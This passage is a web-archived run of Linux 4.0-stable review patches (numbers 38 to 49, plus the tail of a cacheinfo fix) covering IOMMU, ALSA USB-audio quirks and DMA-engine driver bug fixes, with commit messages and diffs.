On some simulators like GEM5, caches may not be simulated. In those cases, the cache levels and leaves will be zero and will result in following exception:
Unable to handle kernel NULL pointer dereference at virtual address 0040 pgd = ffffffc0008fa000 [00000040] *pgd=00000009f6807003, *pud=00000009f6807003, *pmd=00000009f6808003, *pte=006000002c010707 Internal error: Oops: 96000005 [#1] PREEMPT SMP Modules linked in: CPU: 1 PID: 1 Comm: swapper/0 Not tainted 4.1.0-rc5 #198 task: ffffffc9768a0000 ti: ffffffc9768a8000 task.ti: ffffffc9768a8000 PC is at detect_cache_attributes+0x98/0x2c8 LR is at detect_cache_attributes+0x88/0x2c8
kcalloc(0) returns a special value ZERO_SIZE_PTR which is non-NULL value but results in fault only on any attempt to dereferencing it. So checking for the non-NULL pointer will not suffice.
This patch checks for non-zero cache leaf nodes and returns error if there are no cache leaves in detect_cache_attributes.
--- drivers/base/cacheinfo.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/base/cacheinfo.c +1 -1
@@ -179,7 +179,7 @@ static int detect_cache_attributes(unsig {int ret; -if (init_cache_level (cpu)) +if (init_cache_level (cpu) || !cache_leaves (cpu))return -ENOENT ; per_cpu_cacheinfo(cpu) = kcalloc(cache_leaves(cpu),
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 38/105 iommu/vt-d: Allow RMRR on graphics devices too
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Woodhouse <[email protected]>
commit 18436afdc11a00ac881990b454cfb2eae81d6003 upstream.
Commit c875d2c1 ("iommu/vt-d: Exclude devices using RMRRs from IOMMU API domains") prevents certain options for devices with RMRRs. This even prevents those devices from getting a 1:1 mapping with 'iommu=pt', because we don't have the code to handle *preserving* the RMRR regions when moving the device between domains.
There's already an exclusion for USB devices, because we know the only reason for RMRRs there is a misguided desire to keep legacy keyboard/mouse emulation running in some theoretical OS which doesn't have support for USB in its own right... but which *does* enable the IOMMU.
Add an exclusion for graphics devices too, so that 'iommu=pt' works there. We should be able to successfully assign graphics devices to guests too, as long as the initial handling of stolen memory is reconfigured appropriately. This has certainly worked in the past.
--- drivers/iommu/intel-iommu.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-)
drivers/iommu/intel-iommu.c +6 -1
@@ -50,6 +50,7 @@#define CONTEXT_SIZE VTD_PAGE_SIZE#define IS_GFX_DEVICE (pdev) ((pdev->class >> 16) == PCI_BASE_CLASS_DISPLAY) +#define IS_USB_DEVICE (pdev) ((pdev->class >> 8) == PCI_CLASS_SERIAL_USB)#define IS_ISA_DEVICE (pdev) ((pdev->class >> 8) == PCI_CLASS_BRIDGE_ISA)#define IS_AZALIA (pdev) ((pdev)->vendor == 0x8086 && (pdev)->device == 0x3a3e)
@@ -2554,6 +2555,10 @@ static bool device_has_rmrr(struct devic* In both cases we assume that PCI USB devices with RMRRs have them largely * for historical reasons and that the RMRR space is not actively used post * boot. This exclusion may change if vendors begin to abuse it. +* +* The same exception is made for graphics devices, with the requirement that +* any use of the RMRR regions will be torn down before assigning the device +* to a guest. */ static bool device_is_rmrr_locked (struct device *dev) {
@@ -2563,7 +2568,7 @@ static bool device_is_rmrr_locked(structif (dev_is_pci (dev)) {struct pci_dev *pdev =to_pci_dev (dev); -if ((pdev->class >>8 ) ==PCI_CLASS_SERIAL_USB ) +if (IS_USB_DEVICE (pdev) ||IS_GFX_DEVICE (pdev))return false; }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 39/105 iommu/vt-d: Fix passthrough mode with translation-disabled devices
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Woodhouse <[email protected]>
commit 4ed6a540fab8ea4388c1703b73ecfed68a2009d1 upstream.
When we use 'intel_iommu=igfx_off' to disable translation for the graphics, and when we discover that the BIOS has misconfigured the DMAR setup for I/OAT, we use a special DUMMY_DEVICE_DOMAIN_INFO value in dev->archdata.iommu to indicate that translation is disabled.
With passthrough mode, we were attempting to dereference that as a normal pointer to a struct device_domain_info when setting up an identity mapping for the affected device.
This fixes the problem by making device_to_iommu() explicitly check for the special value and indicate that no IOMMU was found to handle the devices in question.
--- drivers/iommu/intel-iommu.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-)
drivers/iommu/intel-iommu.c +8 -5
@@ -673,6 +673,11 @@ static void domain_update_iommu_cap(stru domain->iommu_superpage =domain_update_iommu_superpage (NULL ); } +static int iommu_dummy (struct device *dev) +{ +return dev->archdata.iommu ==DUMMY_DEVICE_DOMAIN_INFO ; +} +static struct intel_iommu *device_to_iommu (struct device *dev,u8 *bus,u8 *devfn) {struct dmar_drhd_unit *drhd =NULL ;
@@ -682,6 +687,9 @@ static struct intel_iommu *device_to_iomu16 segment =0 ;int i; +if (iommu_dummy (dev)) +return NULL ; +if (dev_is_pci (dev)) { pdev =to_pci_dev (dev); segment =pci_domain_nr (pdev->bus);
@@ -2974,11 +2982,6 @@ static inline struct dmar_domain *get_vareturn __get_valid_domain_for_dev (dev); } -static int iommu_dummy (struct device *dev) -{ -return dev->archdata.iommu ==DUMMY_DEVICE_DOMAIN_INFO ; -} -/* Check if the dev needs to go through non-identity map and unmap process.*/ static int iommu_no_mapping (struct device *dev) {
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 40/105 ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Takashi Iwai <[email protected]>
commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream.
Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to make the sound working like other Aspire models.
Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111
--- sound/pci/hda/patch_realtek.c | 1 + 1 file changed, 1 insertion(+)
sound/pci/hda/patch_realtek.c +1 -0
@@ -2167,6 +2167,7 @@ static const struct hda_fixup alc882_fixstatic const struct snd_pci_quirk alc882_fixup_tbl[] = {SND_PCI_QUIRK (0x1025 ,0x006c ,"Acer Aspire 9810" ,ALC883_FIXUP_ACER_EAPD ),SND_PCI_QUIRK (0x1025 ,0x0090 ,"Acer Aspire" ,ALC883_FIXUP_ACER_EAPD ), +SND_PCI_QUIRK (0x1025 ,0x0107 ,"Acer Aspire" ,ALC883_FIXUP_ACER_EAPD ),SND_PCI_QUIRK (0x1025 ,0x010a ,"Acer Ferrari 5000" ,ALC883_FIXUP_ACER_EAPD ),SND_PCI_QUIRK (0x1025 ,0x0110 ,"Acer Aspire" ,ALC883_FIXUP_ACER_EAPD ),SND_PCI_QUIRK (0x1025 ,0x0112 ,"Acer Aspire 9303" ,ALC883_FIXUP_ACER_EAPD ),
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 41/105 ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Wolfram Sang <[email protected]>
commit 1ef9f0583514508bc93427106ceef3215e4eb1a5 upstream.
Fix this from the logs:
usb 7-1: New USB device found, idVendor=046d, idProduct=08ca
...
usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong. usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1
--- sound/usb/mixer.c | 1 + 1 file changed, 1 insertion(+)
sound/usb/mixer.c +1 -0
@@ -918,6 +918,7 @@ static void volume_control_quirks(structcase USB_ID (0x046d ,0x081d ):/* HD Webcam c510 */ case USB_ID (0x046d ,0x0825 ):/* HD Webcam c270 */ case USB_ID (0x046d ,0x0826 ):/* HD Webcam c525 */ +case USB_ID (0x046d ,0x08ca ):/* Logitech Quickcam Fusion */ case USB_ID (0x046d ,0x0991 ):/* Most audio usb devices lie about volume resolution. * Most Logitech webcams have res = 384.
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 42/105 ALSA: usb-audio: dont try to get Outlaw RR2150 sample rate
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Eric Wong <[email protected]>
commit 2f80b2958abe5658000d5ad9b45a36ecf879666e upstream.
This quirk allows us to avoid the noisy:
current rate 0 is different from the runtime rate
message every time playback starts. While USB DAC in the RR2150 supports reading the sample rate, it never returns a sample rate other than zero in my observation with common sample rates.
--- sound/usb/quirks.c | 1 + 1 file changed, 1 insertion(+)
sound/usb/quirks.c +1 -0
@@ -1120,6 +1120,7 @@ bool snd_usb_get_sample_rate_quirk(struccase USB_ID (0x045E ,0x0772 ):/* MS Lifecam Studio */ case USB_ID (0x045E ,0x0779 ):/* MS Lifecam HD-3000 */ case USB_ID (0x04D8 ,0xFEEA ):/* Benchmark DAC1 Pre */ +case USB_ID (0x074D ,0x3553 ):/* Outlaw RR2150 (Micronas UAC3553B) */ return true; }return false;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 43/105 ALSA: usb-audio: add MAYA44 USB+ mixer control names
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Clemens Ladisch <[email protected]>
commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream.
Add mixer control names for the ESI Maya44 USB+ (which appears to be identical width the AudioTrak Maya44 USB).
--- sound/usb/mixer_maps.c | 5 +++++ 1 file changed, 5 insertions(+)
sound/usb/mixer_maps.c +5 -0
@@ -437,6 +437,11 @@ static struct usbmix_ctl_map usbmix_ctl_ .map = ebox44_map, }, { +/* MAYA44 USB+ */ + .id = USB_ID(0x2573, 0x0008), + .map = maya44_map, + }, + {/* KEF X300A */ .id = USB_ID(0x27ac, 0x1000), .map = scms_usb3318_map,
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 44/105 ALSA: usb-audio: fix missing input volume controls in MAYA44 USB(+)
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Clemens Ladisch <[email protected]>
commit ea114fc27dc0cb9a550b6add5426720feb66262a upstream.
The driver worked around an error in the MAYA44 USB(+)'s mixer unit descriptor by aborting before parsing the missing field. However, aborting parsing too early prevented parsing of the other units connected to this unit, so the capture mixer controls would be missing.
Fix this by moving the check for this descriptor error after the parsing of the unit's input pins.
--- sound/usb/mixer.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-)
sound/usb/mixer.c +3 -6
@@ -1583,12 +1583,6 @@ static int parse_audio_mixer_unit(struct unitid);return -EINVAL ; } -/* no bmControls field (e.g. Maya44) -> ignore */ -if (desc->bLength <=10 + input_pins) { -usb_audio_dbg (state->chip,"MU %d has no bmControls field\n" , - unitid); -return 0 ; - } num_ins =0 ; ich =0 ;
@@ -1596,6 +1590,9 @@ static int parse_audio_mixer_unit(struct err =parse_audio_unit (state, desc->baSourceID[pin]);if (err <0 )continue ; +/* no bmControls field (e.g. Maya44) -> ignore */ +if (desc->bLength <=10 + input_pins) +continue ; err =check_input_term (state, desc->baSourceID[pin], &iterm);if (err <0 )return err;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 45/105 ALSA: usb-audio: add native DSD support for JLsounds I2SoverUSB
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jurgen Kramer <[email protected]>
commit 3b7e5c7e36ed4a046bbea6d36c9be9d1d6107ae0 upstream.
This patch adds native DSD support for the XMOS based JLsounds I2SoverUSB board
--- sound/usb/quirks.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-)
sound/usb/quirks.c +3 -2
@@ -1267,8 +1267,9 @@ u64 snd_usb_interface_dsd_format_quirks(if (fp->altsetting ==2 )return SNDRV_PCM_FMTBIT_DSD_U32_BE ;break ; -/* DIYINHK DSD DXD 384kHz USB to I2S/DSD */ -case USB_ID (0x20b1 ,0x2009 ): + +case USB_ID (0x20b1 ,0x2009 ):/* DIYINHK DSD DXD 384kHz USB to I2S/DSD */ +case USB_ID (0x20b1 ,0x2023 ):/* JLsounds I2SoverUSB */ if (fp->altsetting ==3 )return SNDRV_PCM_FMTBIT_DSD_U32_BE ;break ;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 46/105 dmaengine: pl330: Fix hang on dmaengine_terminate_all on certain boards
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Krzysztof Kozlowski <[email protected]>
commit 81cc6edc08705ac0146fe6ac14a0982a31ce6f3d upstream.
The pl330 device could hang infinitely on certain boards when DMA channels are terminated.
It was caused by lack of runtime resume when executing pl330_terminate_all() which calls the _stop() function. _stop() accesses device register and can loop infinitely while checking for device state.
The hang was confirmed by Dinh Nguyen on Altera SOCFPGA Cyclone V board during boot. It can be also triggered with:
$ echo 1 > /sys/module/dmatest/parameters/iterations $ echo dma1chan0 > /sys/module/dmatest/parameters/channel $ echo 1 > /sys/module/dmatest/parameters/run $ sleep 1 $ cat /sys/module/dmatest/parameters/run
--- drivers/dma/pl330.c | 3 +++ 1 file changed, 3 insertions(+)
drivers/dma/pl330.c +3 -0
@@ -2127,6 +2127,7 @@ static int pl330_terminate_all(struct dmstruct pl330_dmac *pl330 = pch->dmac;LIST_HEAD (list); +pm_runtime_get_sync (pl330->ddma.dev);spin_lock_irqsave (&pch->lock, flags);spin_lock (&pl330->lock);_stop (pch->thread);
@@ -2151,6 +2152,8 @@ static int pl330_terminate_all(struct dmlist_splice_tail_init (&pch->work_list, &pl330->desc_pool);list_splice_tail_init (&pch->completed_list, &pl330->desc_pool);spin_unlock_irqrestore (&pch->lock, flags); +pm_runtime_mark_last_busy (pl330->ddma.dev); +pm_runtime_put_autosuspend (pl330->ddma.dev);return 0 ; }
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 47/105 dmaengine: Fix choppy sound because of unimplemented resume
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Krzysztof Kozlowski <[email protected]>
commit 88d04643c66052a1cf92a6fd5f92dff0f7757f61 upstream.
Some drivers implement only pause operation (no resuming). Example is pl330 where pause is needed for getting residuum. pl330 does not support resume operation, transfer must be stopped after pause.
However for slaves this is exposed always as "pause and resume" which introduces subtle errors on Odroid U3 board (Exynos4412 with pl330). After adding pause function to pl330 driver the audio playback (utilizing DMA) gets choppy after some time (approximately 24 hours).
Fix this by exposing "cmd_pause" if and only if pause and resume are implemented.
--- drivers/dma/dmaengine.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-)
drivers/dma/dmaengine.c +5 -1
@@ -505,7 +505,11 @@ int dma_get_slave_caps(struct dma_chan * caps->directions = device->directions; caps->residue_granularity = device->residue_granularity; - caps->cmd_pause = !!device->device_pause; +/* +* Some devices implement only pause (e.g. to get residuum) but no +* resume. However cmd_pause is advertised as pause AND resume. +*/ + caps->cmd_pause = !!(device->device_pause && device->device_resume); caps->cmd_terminate = !!device->device_terminate_all;return 0 ;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 48/105 dmaengine: at_xdmac: rework slave configuration part
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ludovic Desroches <[email protected]>
commit 765c37d876698268eea8b820081ac8fc9d0fc8bc upstream.
Rework slave configuration part in order to more report wrong errors about the configuration.
Only maxburst and addr width values are checked when doing the slave configuration. The validity of the channel configuration is done at prepare time.
--- drivers/dma/at_xdmac.c | 158 ++++++++++++++++++++++++++++++------------------- 1 file changed, 97 insertions(+), 61 deletions(-)
drivers/dma/at_xdmac.c +97 -61
@@ -174,6 +174,8 @@#define AT_XDMAC_MBR_UBC_NDV3 (0x3 << 27)/* Next Descriptor View 3 */ #define AT_XDMAC_MAX_CHAN 0x20 +#define AT_XDMAC_MAX_CSIZE 16/* 16 data */ +#define AT_XDMAC_MAX_DWIDTH 8/* 64 bits */ #define AT_XDMAC_DMA_BUSWIDTHS \ (BIT(DMA_SLAVE_BUSWIDTH_UNDEFINED) |\
@@ -192,20 +194,17 @@ struct at_xdmac_chan {struct dma_chan chan;void __iomem *ch_regs;u32 mask;/* Channel Mask */ -u32 cfg[2 ];/* Channel Configuration Register */ -#define AT_XDMAC_DEV_TO_MEM_CFG 0/* Predifined dev to mem channel conf */ -#define AT_XDMAC_MEM_TO_DEV_CFG 1/* Predifined mem to dev channel conf */ +u32 cfg;/* Channel Configuration Register */ u8 perid;/* Peripheral ID */ u8 perif;/* Peripheral Interface */ u8 memif;/* Memory Interface */ -u32 per_src_addr; -u32 per_dst_addr;u32 save_cc;u32 save_cim;u32 save_cnda;u32 save_cndc;unsigned long status;struct tasklet_struct tasklet; +struct dma_slave_config sconfig;spinlock_t lock;
@@ -494,61 +493,94 @@ static struct dma_chan *at_xdmac_xlate(sreturn chan; } +static int at_xdmac_compute_chan_conf (struct dma_chan *chan, +enum dma_transfer_direction direction) +{ +struct at_xdmac_chan *atchan =to_at_xdmac_chan (chan); +int csize, dwidth; + +if (direction ==DMA_DEV_TO_MEM ) { + atchan->cfg = +AT91_XDMAC_DT_PERID (atchan->perid) + |AT_XDMAC_CC_DAM_INCREMENTED_AM + |AT_XDMAC_CC_SAM_FIXED_AM + |AT_XDMAC_CC_DIF (atchan->memif) + |AT_XDMAC_CC_SIF (atchan->perif) + |AT_XDMAC_CC_SWREQ_HWR_CONNECTED + |AT_XDMAC_CC_DSYNC_PER2MEM + |AT_XDMAC_CC_MBSIZE_SIXTEEN + |AT_XDMAC_CC_TYPE_PER_TRAN ; + csize =ffs (atchan->sconfig.src_maxburst) -1 ; +if (csize <0 ) { +dev_err (chan2dev (chan),"invalid src maxburst value\n" ); +return -EINVAL ; + } + atchan->cfg |=AT_XDMAC_CC_CSIZE (csize); + dwidth =ffs (atchan->sconfig.src_addr_width) -1 ; +if (dwidth <0 ) { +dev_err (chan2dev (chan),"invalid src addr width value\n" ); +return -EINVAL ; + } + atchan->cfg |=AT_XDMAC_CC_DWIDTH (dwidth); + }else if (direction ==DMA_MEM_TO_DEV ) { + atchan->cfg = +AT91_XDMAC_DT_PERID (atchan->perid) + |AT_XDMAC_CC_DAM_FIXED_AM + |AT_XDMAC_CC_SAM_INCREMENTED_AM + |AT_XDMAC_CC_DIF (atchan->perif) + |AT_XDMAC_CC_SIF (atchan->memif) + |AT_XDMAC_CC_SWREQ_HWR_CONNECTED + |AT_XDMAC_CC_DSYNC_MEM2PER + |AT_XDMAC_CC_MBSIZE_SIXTEEN + |AT_XDMAC_CC_TYPE_PER_TRAN ; + csize =ffs (atchan->sconfig.dst_maxburst) -1 ; +if (csize <0 ) { +dev_err (chan2dev (chan),"invalid src maxburst value\n" ); +return -EINVAL ; + } + atchan->cfg |=AT_XDMAC_CC_CSIZE (csize); + dwidth =ffs (atchan->sconfig.dst_addr_width) -1 ; +if (dwidth <0 ) { +dev_err (chan2dev (chan),"invalid dst addr width value\n" ); +return -EINVAL ; + } + atchan->cfg |=AT_XDMAC_CC_DWIDTH (dwidth); + } + +dev_dbg (chan2dev (chan),"%s: cfg=0x%08x\n" , __func__, atchan->cfg); + +return 0 ; +} + +/* +* Only check that maxburst and addr width values are supported by the +* the controller but not that the configuration is good to perform the +* transfer since we don't know the direction at this stage. +*/ +static int at_xdmac_check_slave_config (struct dma_slave_config *sconfig) +{ +if ((sconfig->src_maxburst >AT_XDMAC_MAX_CSIZE ) + || (sconfig->dst_maxburst >AT_XDMAC_MAX_CSIZE )) +return -EINVAL ; + +if ((sconfig->src_addr_width >AT_XDMAC_MAX_DWIDTH ) + || (sconfig->dst_addr_width >AT_XDMAC_MAX_DWIDTH )) +return -EINVAL ; + +return 0 ; +} +static int at_xdmac_set_slave_config (struct dma_chan *chan,struct dma_slave_config *sconfig) {struct at_xdmac_chan *atchan =to_at_xdmac_chan (chan); -u8 dwidth; -int csize; - atchan->cfg[AT_XDMAC_DEV_TO_MEM_CFG ] = -AT91_XDMAC_DT_PERID (atchan->perid) - |AT_XDMAC_CC_DAM_INCREMENTED_AM - |AT_XDMAC_CC_SAM_FIXED_AM - |AT_XDMAC_CC_DIF (atchan->memif) - |AT_XDMAC_CC_SIF (atchan->perif) - |AT_XDMAC_CC_SWREQ_HWR_CONNECTED - |AT_XDMAC_CC_DSYNC_PER2MEM - |AT_XDMAC_CC_MBSIZE_SIXTEEN - |AT_XDMAC_CC_TYPE_PER_TRAN ; - csize =at_xdmac_csize (sconfig->src_maxburst); -if (csize <0 ) { -dev_err (chan2dev (chan),"invalid src maxburst value\n" ); -return -EINVAL ; - } - atchan->cfg[AT_XDMAC_DEV_TO_MEM_CFG ] |=AT_XDMAC_CC_CSIZE (csize); - dwidth =ffs (sconfig->src_addr_width) -1 ; - atchan->cfg[AT_XDMAC_DEV_TO_MEM_CFG ] |=AT_XDMAC_CC_DWIDTH (dwidth); - - - atchan->cfg[AT_XDMAC_MEM_TO_DEV_CFG ] = -AT91_XDMAC_DT_PERID (atchan->perid) - |AT_XDMAC_CC_DAM_FIXED_AM - |AT_XDMAC_CC_SAM_INCREMENTED_AM - |AT_XDMAC_CC_DIF (atchan->perif) - |AT_XDMAC_CC_SIF (atchan->memif) - |AT_XDMAC_CC_SWREQ_HWR_CONNECTED - |AT_XDMAC_CC_DSYNC_MEM2PER - |AT_XDMAC_CC_MBSIZE_SIXTEEN - |AT_XDMAC_CC_TYPE_PER_TRAN ; - csize =at_xdmac_csize (sconfig->dst_maxburst); -if (csize <0 ) { -dev_err (chan2dev (chan),"invalid src maxburst value\n" ); +if (at_xdmac_check_slave_config (sconfig)) { +dev_err (chan2dev (chan),"invalid slave configuration\n" );return -EINVAL ; } - atchan->cfg[AT_XDMAC_MEM_TO_DEV_CFG ] |=AT_XDMAC_CC_CSIZE (csize); - dwidth =ffs (sconfig->dst_addr_width) -1 ; - atchan->cfg[AT_XDMAC_MEM_TO_DEV_CFG ] |=AT_XDMAC_CC_DWIDTH (dwidth); - -/* Src and dst addr are needed to configure the link list descriptor. */ - atchan->per_src_addr = sconfig->src_addr; - atchan->per_dst_addr = sconfig->dst_addr; - -dev_dbg (chan2dev (chan), -"%s: cfg[dev2mem]=0x%08x, cfg[mem2dev]=0x%08x, per_src_addr=0x%08x, per_dst_addr=0x%08x\n" , - __func__, atchan->cfg[AT_XDMAC_DEV_TO_MEM_CFG ], - atchan->cfg[AT_XDMAC_MEM_TO_DEV_CFG ], - atchan->per_src_addr, atchan->per_dst_addr); + +memcpy (&atchan->sconfig, sconfig,sizeof (atchan->sconfig));return 0 ; }
@@ -580,6 +612,9 @@ at_xdmac_prep_slave_sg(struct dma_chan */* Protect dma_sconfig field that can be modified by set_slave_conf. */ spin_lock_bh (&atchan->lock); +if (at_xdmac_compute_chan_conf (chan, direction)) + goto spin_unlock; +/* Prepare descriptors. */ for_each_sg (sgl, sg, sg_len, i) {struct at_xdmac_desc *desc =NULL ;
@@ -606,14 +641,13 @@ at_xdmac_prep_slave_sg(struct dma_chan */* Linked list descriptor setup. */ if (direction ==DMA_DEV_TO_MEM ) { - desc->lld.mbr_sa = atchan->per_src_addr; + desc->lld.mbr_sa = atchan->sconfig.src_addr; desc->lld.mbr_da = mem; - desc->lld.mbr_cfg = atchan->cfg[AT_XDMAC_DEV_TO_MEM_CFG ]; }else { desc->lld.mbr_sa = mem; - desc->lld.mbr_da = atchan->per_dst_addr; - desc->lld.mbr_cfg = atchan->cfg[AT_XDMAC_MEM_TO_DEV_CFG ]; + desc->lld.mbr_da = atchan->sconfig.dst_addr; } + desc->lld.mbr_cfg = atchan->cfg; dwidth =at_xdmac_get_dwidth (desc->lld.mbr_cfg); fixed_dwidth =IS_ALIGNED (len,1 << dwidth) ? at_xdmac_get_dwidth(desc->lld.mbr_cfg)
@@ -679,6 +713,9 @@ at_xdmac_prep_dma_cyclic(struct dma_chanreturn NULL ; } +if (at_xdmac_compute_chan_conf (chan, direction)) +return NULL ; +for (i =0 ; i < periods; i++) {struct at_xdmac_desc *desc =NULL ;
@@ -697,14 +734,13 @@ at_xdmac_prep_dma_cyclic(struct dma_chan __func__, desc, &desc->tx_dma_desc.phys);if (direction ==DMA_DEV_TO_MEM ) { - desc->lld.mbr_sa = atchan->per_src_addr; + desc->lld.mbr_sa = atchan->sconfig.src_addr; desc->lld.mbr_da = buf_addr + i * period_len; - desc->lld.mbr_cfg = atchan->cfg[AT_XDMAC_DEV_TO_MEM_CFG ]; }else { desc->lld.mbr_sa = buf_addr + i * period_len; - desc->lld.mbr_da = atchan->per_dst_addr; - desc->lld.mbr_cfg = atchan->cfg[AT_XDMAC_MEM_TO_DEV_CFG ]; + desc->lld.mbr_da = atchan->sconfig.dst_addr; } + desc->lld.mbr_cfg = atchan->cfg; desc->lld.mbr_ubc =AT_XDMAC_MBR_UBC_NDV1 |AT_XDMAC_MBR_UBC_NDEN |AT_XDMAC_MBR_UBC_NSEN
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 49/105 dmaengine: at_xdmac: lock fixes
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ludovic Desroches <[email protected]>
commit 4c374fc7ce944024936a6d9804daec85207d9384 upstream.
Using _bh variant for spin locks causes this kind of warning:
Starting logging: ------------[ cut here ]------------
WARNING: CPU: 0 PID: 3 at /ssd_drive/linux/kernel/softirq.c:151 __local_bh_enable_ip+0xe8/0xf4() Modules linked in: CPU: 0 PID: 3 Comm: ksoftirqd/0 Not tainted 4.1.0-rc2+ #94 Hardware name: Atmel SAMA5 [<c0013c04>] (unwind_backtrace) from [<c00118a4>] (show_stack+0x10/0x14)
[<c00118a4>] (show_stack) from [<c001bbcc>] (warn_slowpath_common+0x80/0xac)
[<c001bbcc>] (warn_slowpath_common) from [<c001bc14>] (warn_slowpath_null+0x1c/0x24)
[<c001bc14>] (warn_slowpath_null) from [<c001e28c>] (__local_bh_enable_ip+0xe8/0xf4)
[<c001e28c>] (__local_bh_enable_ip) from [<c01fdbd0>] (at_xdmac_device_terminate_all+0xf4/0x100)
[<c01fdbd0>] (at_xdmac_device_terminate_all) from [<c02221a4>] (atmel_complete_tx_dma+0x34/0xf4)
[<c02221a4>] (atmel_complete_tx_dma) from [<c01fe4ac>] (at_xdmac_tasklet+0x14c/0x1ac)
[<c01fe4ac>] (at_xdmac_tasklet) from [<c001de58>] (tasklet_action+0x68/0xb4)
[<c001de58>] (tasklet_action) from [<c001dfdc>] (__do_softirq+0xfc/0x238)
[<c001dfdc>] (__do_softirq) from [<c001e140>] (run_ksoftirqd+0x28/0x34) [<c001e140>] (run_ksoftirqd) from [<c0033a3c>] (smpboot_thread_fn+0x138/0x18c)
[<c0033a3c>] (smpboot_thread_fn) from [<c0030e7c>] (kthread+0xdc/0xf0) [<c0030e7c>] (kthread) from [<c000f480>] (ret_from_fork+0x14/0x34)
---[ end trace b57b14a99c1d8812 ]---
It comes from the fact that devices can called some code from the DMA controller with irq disabled. _bh variant is not intended to be used in this case since it can enable irqs. Switch to irqsave/irqrestore variant to avoid this situation.
--- drivers/dma/at_xdmac.c | 77 ++++++++++++++++++++++++++++--------------------- 1 file changed, 45 insertions(+), 32 deletions(-)
drivers/dma/at_xdmac.c +45 -32
@@ -414,8 +414,9 @@ static dma_cookie_t at_xdmac_tx_submit(sstruct at_xdmac_desc *desc =txd_to_at_desc (tx);struct at_xdmac_chan *atchan =to_at_xdmac_chan (tx->chan);dma_cookie_t cookie; +unsigned long irqflags; -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, irqflags); cookie =dma_cookie_assign (tx); dev_vdbg(chan2dev(tx->chan), "%s: atchan 0x%p, add desc 0x%p to xfers_list\n",
@@ -424,7 +425,7 @@ static dma_cookie_t at_xdmac_tx_submit(sif (list_is_singular (&atchan->xfers_list))at_xdmac_start_xfer (atchan, desc); -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, irqflags);return cookie; }
@@ -595,6 +596,8 @@ at_xdmac_prep_slave_sg(struct dma_chan *struct scatterlist *sg;int i;unsigned int xfer_size =0 ; +unsigned long irqflags; +struct dma_async_tx_descriptor *ret =NULL ;if (!sgl)return NULL ;
@@ -610,7 +613,7 @@ at_xdmac_prep_slave_sg(struct dma_chan * flags);/* Protect dma_sconfig field that can be modified by set_slave_conf. */ -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, irqflags);if (at_xdmac_compute_chan_conf (chan, direction)) goto spin_unlock;
@@ -624,8 +627,7 @@ at_xdmac_prep_slave_sg(struct dma_chan * mem =sg_dma_address (sg);if (unlikely (!len)) {dev_err (chan2dev (chan),"sg data length is zero\n" ); -spin_unlock_bh (&atchan->lock); -return NULL ; + goto spin_unlock; }dev_dbg (chan2dev (chan),"%s: * sg%d len=%u, mem=0x%08x\n" , __func__, i, len, mem);
@@ -635,8 +637,7 @@ at_xdmac_prep_slave_sg(struct dma_chan *dev_err (chan2dev (chan),"can't get descriptor\n" );if (first)list_splice_init (&first->descs_list, &atchan->free_descs_list); -spin_unlock_bh (&atchan->lock); -return NULL ; + goto spin_unlock; }/* Linked list descriptor setup. */
